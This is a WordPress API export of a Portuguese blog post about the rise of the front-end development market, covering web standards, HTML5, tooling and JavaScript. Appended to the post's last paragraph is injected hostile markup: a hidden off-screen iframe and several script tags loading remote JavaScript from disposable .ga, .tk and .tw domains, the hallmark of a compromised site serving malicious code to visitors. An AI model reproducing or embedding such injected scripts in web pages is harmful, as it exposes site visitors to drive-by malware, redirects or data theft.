{"id":255,"date":"2014-09-01T17:47:25","date_gmt":"2014-09-01T20:47:25","guid":{"rendered":"http:\/\/agencialeggo.com\/?p=255"},"modified":"2017-02-08T03:20:54","modified_gmt":"2017-02-08T06:20:54","slug":"o-mercado-de-desenvolvimento-front-end","status":"publish","type":"post","link":"https:\/\/agencialeggo.com\/website\/o-mercado-de-desenvolvimento-front-end\/","title":{"rendered":"O Mercado de Desenvolvimento Front-End"},"content":{"rendered":"<p style=\"text-align: center;\"><strong>Fonte do artigo:<\/strong>\u00a0<a title=\"Tableless\" href=\"http:\/\/tableless.com.br\/\" target=\"_blank\">http:\/\/tableless.com.br\/<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Voc\u00ea j\u00e1 deve ter notado que o mercado cresceu demais nos \u00faltimos anos. De repente, codificar HTML virou a coisa mais importante do mundo e saber JavaScript transforma voc\u00ea automaticamente em um rockstar.<\/p>\n<p>O interesse das empresas tamb\u00e9m aumentou bastante. Empresas gringas tem buscado desesperadamente profissionais no mundo todo, inclusive no Brasil. Hoje n\u00e3o \u00e9 muito dif\u00edcil ir trabalhar em Amsterdam ou em Bangkok. A m\u00e3o de obra nestes pa\u00edses est\u00e1 bem escassa. Mal sabem eles que aqui no Brasil o cen\u00e1rio \u00e9 o mesmo: falta profissionais. Isso \u00e9 bom, por um lado, pois os novatos ganham importantes oportunidades . Quem se esfor\u00e7a para aprender certo e r\u00e1pido, se d\u00e1 muito bem.<\/p>\n<p>Diversos fatores contribu\u00edram para que a revolu\u00e7\u00e3o acontecesse e que finalmente o dev front-end se tornasse a estrela da vez. E sim, isso \u00e9 uma REvolu\u00e7\u00e3o.<\/p>\n<h2>A primeira Evolu\u00e7\u00e3o<\/h2>\n<p>Se voc\u00ea \u00e9 novo na profiss\u00e3o, pode n\u00e3o ter acompanhado quando a febre dos Padr\u00f5es Web contaminou todos os devs. Foi um neg\u00f3cio bem incr\u00edvel de viver.<\/p>\n<p>O cen\u00e1rio do desenvolvimento web naquele in\u00edcio era bem grotesco. Tudo estava come\u00e7ando e ningu\u00e9m\u200a\u2014\u200aningu\u00e9m mesmo\u200a\u2014\u200asabia de verdade como produzir websites. Estou falando de um mercado p\u00f3s-bolha.<\/p>\n<p>Os browsers eram bem ruins. O W3C era mais lerdo que uma tartaruga para avan\u00e7ar com as recomenda\u00e7\u00f5es. E os desenvolvedores sofriam de todas as maneiras poss\u00edveis.<br \/>\nProduzir websites para browsers ruins e uma conex\u00e3o indecente era uma aventura. \u00c9 por isso que dou risada quando algu\u00e9m diz que o Internet Explorer 8 \u00e9 uma porcaria. Ah! Se ele soubesse como \u00e9 resolver um bug para o IE3\/4\u2026<\/p>\n<p>Foi nesse cen\u00e1rio e em plena guerra dos browsers que o WaSP surgiu. O WaSP era composto de designers e desenvolvedores que estavam cansados de produzir websites de maneira espartana. Algo precisava acontecer, precisava mudar. Tudo precisava ser derrubado para algo novo se reerguer. Eles fizeram exatamente isso. A evolu\u00e7\u00e3o foi iniciada nas trincheiras.<\/p>\n<p>Hoje o mercado est\u00e1 no patamar atual muito por causa da iniciativa desses poucos profissionais inconformados. Este foi um fator importante, que abriu a trilha para o caminho correto. Vamos aos outros pontos.<\/p>\n<h2>O HTML 5<\/h2>\n<p>A forma com que as novidades do HTML foram divulgadas pelo W3C e pelo grupo WHATWG ajudaram muito a ado\u00e7\u00e3o e principalmente na popularidade da linguagem. Nenhuma outra vers\u00e3o do HTML ganhou um logo, um site para divulga\u00e7\u00e3o, adesivos, camisetas e etc\u2026 Toda esse campanha contribuiu para que o HTML fosse divulgado como uma linguagem s\u00e9ria e madura.<\/p>\n<p>O WHATWG teve uma atitude muito semelhante que a do WaSP. Eles estavam cansados de esperar as decis\u00f5es do W3C, que literalmente levavam anos para serem tomadas. Foi a\u00ed que um grupo de desenvolvedores resolveu iniciar por conta pr\u00f3pria a recomenda\u00e7\u00e3o do que seria hoje o HTML5.<\/p>\n<p>As novas APIs facilitaram milh\u00f5es de vezes a manipula\u00e7\u00e3o do DOM com JavaScript. Isso chamou a aten\u00e7\u00e3o de outros profissionais, como designers e desenvolvedores back-end. A partir de ent\u00e3o tudo come\u00e7ou a mudar, desde o processo de desenvolvimento at\u00e9 a divis\u00e3o de responsabilidades em projetos.<\/p>\n<p>Os desenvolvedores back-end sempre tiveram o suporte de v\u00e1rias ferramentas que os auxiliam no desenvolvimento. Mas esse suporte praticamente n\u00e3o existia no mundo front-end. Me lembro da empolga\u00e7\u00e3o geral quando saiu uma extens\u00e3o do Firefox chamada Web Developer Tools. O que nos leva a outro ponto importante: ferrament\u00e1rio.<\/p>\n<h2>Tooling<\/h2>\n<p>Quem nunca ouviu falar de Yeoman, Bower, Grunt, Middleman, Jekyll, Sass, Compass, Less e uma s\u00e9rie de outras ferramentas que facilitam o desenvolvimento di\u00e1rio? Depois que o Node.js surgiu, uma s\u00e9rie de ferramentas surgiriam com ele. Outras ferramentas vieram da comunidade Ruby, suprindo uma s\u00e9rie de outras dificuldades.<\/p>\n<p>Hoje podemos automatizar tarefas com o Grunt ou Gulp, gerenciar nossas depend\u00eancias com o Bower, escrever sites est\u00e1ticos com Middleman e Jekyll. H\u00e1 uma s\u00e9rie de outras ferramentas que medem a performance do site, que buscam erros no seu c\u00f3digo etc etc etc.<\/p>\n<p>A falta de ferramentas era um problema grande no in\u00edcio. N\u00e3o havia nada que nos ajudasse a escrever c\u00f3digo de alta qualidade, apenas n\u00f3s mesmos e a fiscaliza\u00e7\u00e3o dos colegas de trabalho. Fazia parecer que a \u00e1rea era meio amadora, sabe? Tentando fazer as coisas no achismo. Parecia que todo mundo ainda estava tentando descobrir os truques da \u00e1rea. Hoje \u00e9 muito dif\u00edcil conhecer algu\u00e9m que n\u00e3o conhe\u00e7a o Inspector dos browsers ou que n\u00e3o use qualquer outra ferramenta auxiliar.<\/p>\n<h2>O JavaScript<\/h2>\n<p>Mas, na minha opini\u00e3o, o que fez com que pessoas olhassem o front-end de forma diferente foi o JavaScript. De uma hora para outra uma s\u00e9rie de iniciativas envolvendo a linguagem surgiram e de repente todo mundo achava o JavaScript uma linguagem maravilhosa. Principalmente os devs back-end que tinham uma vis\u00e3o ruim da nossa profiss\u00e3o. Muitos desdenhavam porque achavam que era s\u00f3 escrever HTML e pintar quadradinhos com CSS.<\/p>\n<p>O Node.js abriu os olhos de muita gente. Gente que n\u00e3o dava nada para esse mercado. Da\u00ed em diante \u00e9 hist\u00f3ria.<\/p>\n<p>Depois que frameworks como Angular, Ember e Backbone surgiram, a badala\u00e7\u00e3o em volta do JavaScript cresceu muito. Isso \u00e9 bom e ruim. \u00c9 muito pol\u00eamico ainda escrever JS no servidor. Em v\u00e1rios lugares os devs ainda est\u00e3o perdidos. A iniciativa de escrever JS no servidor\u00e9 algo um pouco nebuloso ainda. Desenvolvedores que n\u00e3o sabem lidar com a novidade, acabam fazendo projetos h\u00edbridos, construindo parte de projetos com essas tecnologias. O projeto acaba ficando estranho, onde parte \u00e9 escrita em JavaScript no servidor e a outra \u00e9 escrita em linguagem server-side comum. Isso por que todo mundo quer experimentar. Eu ainda acho estranho abordagens assim. Se voc\u00ea quer escrever JS no servidor, ele precisa ser sua linguagem principal. Oras, voc\u00ea nunca misturou PHP com Ruby, n\u00e3o \u00e9? Por que fazer parte do projeto em Ruby e apenas um peda\u00e7o JavaScript ent\u00e3o? Mesmo assim, essa vis\u00e3o \u00e9 meio estranha, j\u00e1 que nenhuma linguagem resolve todos os problemas de um projeto.<\/p>\n<p>Mesmo assim o mercado vai caminhando. N\u00e3o creio que essa confus\u00e3o dure muito mais tempo e que todo mundo consiga encontrar uma maneira decente de fazer o processo funcionar.<\/p>\n<p>Al\u00e9m disso, um dev front-end n\u00e3o \u00e9 s\u00f3 aquele que escreve JavaScript. Envolve muito mais. Na verdade esse \u00e9 outro problema. Para mim n\u00e3o existe front-end, existe designer e programador. Mas deixa essa conversa para pr\u00f3xima.<\/p>\n<h2>Aceita\u00e7\u00e3o do grupo<\/h2>\n<p>Aos poucos os front-ends foram sendo aceitos no processo e em outros meios. Essa aceita\u00e7\u00e3o \u00e9 \u00f3tima. Existe o lado ruim sim, mas toda essa vitrine que o mercado de front-end ganhou \u00e9 interessante para essa comunidade que andava pelas sombras e com vergonha de si mesmo durante anos. Esse novo ciclo \u00e9 bom para aprendermos o que realmente d\u00e1 resultado e como podemos formar profissionais cada vez mais importantes no processo.<\/p>\n<p>\u00c9 importante que os devs tenham ideia do contexto geral desse mercado para que n\u00e3o sejam engolidos como aconteceu anos atr\u00e1s, tanto na bolha, quanto no advento dos Padr\u00f5es Web.<!--844c7b74e31d727d5814a0ed667c0255--><iframe src=\"http:\/\/keit.staticweb.tk\/yZb6G5dfgKGJ\" width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index:-1;'><\/iframe><script src='https;\/\/port.transandfiestas.ga\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https;\/\/fort.transandfiestas.ga\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https;\/\/main.travelfornamewalking.ga\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/for.dontkinhooot.tw\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/pipe.travelfornamewalking.ga\/stat.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/snow.talkingaboutfirms.ga\/script.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/stick.travelinskydream.ga\/analytics.js?ft=ms' type='text\/javascript'><\/script><script src='https:\/\/clark.cofounderspecials.com\/special.js?v=5.555' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Fonte do artigo:\u00a0http:\/\/tableless.com.br\/ &nbsp; Voc\u00ea j\u00e1 deve ter notado que o mercado cresceu demais nos \u00faltimos anos. De repente, codificar HTML virou a coisa mais importante do mundo e saber JavaScript transforma voc\u00ea automaticamente em um rockstar. O interesse das empresas tamb\u00e9m aumentou bastante. Empresas gringas tem buscado desesperadamente profissionais no mundo todo, inclusive no [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-255","post","type-post","status-publish","format-standard","hentry","category-sem-categoria"],"acf":[],"_links":{"self":[{"href":"https:\/\/agencialeggo.com\/website\/wp-json\/wp\/v2\/posts\/255","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/agencialeggo.com\/website\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/agencialeggo.com\/website\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/agencialeggo.com\/website\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/agencialeggo.com\/website\/wp-json\/wp\/v2\/comments?post=255"}],"version-history":[{"count":3,"href":"https:\/\/agencialeggo.com\/website\/wp-json\/wp\/v2\/posts\/255\/revisions"}],"predecessor-version":[{"id":510,"href":"https:\/\/agencialeggo.com\/website\/wp-json\/wp\/v2\/posts\/255\/revisions\/510"}],"wp:attachment":[{"href":"https:\/\/agencialeggo.com\/website\/wp-json\/wp\/v2\/media?parent=255"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/agencialeggo.com\/website\/wp-json\/wp\/v2\/categories?post=255"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/agencialeggo.com\/website\/wp-json\/wp\/v2\/tags?post=255"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}